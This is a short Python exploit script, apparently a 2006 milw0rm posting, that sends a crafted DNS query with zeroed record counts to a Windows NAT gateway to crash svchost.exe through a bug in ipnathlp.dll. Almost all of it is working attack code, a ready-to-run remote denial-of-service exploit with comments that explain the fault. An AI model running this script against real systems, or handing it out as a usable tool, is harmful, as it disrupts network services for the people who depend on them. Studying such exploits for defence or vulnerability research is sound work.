#!/usr/bin/python
# Microsoft Windows NAT Helper Components (ipnathlp.dll) 0day Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on XP SP2 Polish
# Details:
#
# Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
#
# [Process svchost.exe, module ipnathlp]
# --> MOV DL, [EAX]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
##

from socket import *
from time import sleep

host = "192.168.0.1"
port = 53

buffer = ( # DNS (query)
"\x6c\xb6" # Transaction ID: 0x6cb6
"\x01\x00" # Flags: 0x0100 (Standard query)
"\x00\x00" # Questions: 0
"\x00\x00" # Answer RRs: 0
"\x00\x00" # Authority RRs: 0
"\x00\x00" # Additional RRs: 0 <-- Bug is here (0, 0, 0, 0)
"\x03\x77\x77\x77" #
"\x06\x67\x6f\x6f" #
"\x67\x6c\x65\x03" #
"\x63\x6f\x6d\x00" # Name: www.google.com
"\x00\x01" # Type: A (Host address)
"\x00\x01" # Class: IN (0x0001)
)

s = socket(AF_INET, SOCK_DGRAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()

# EoF

# milw0rm.com [2006-10-28]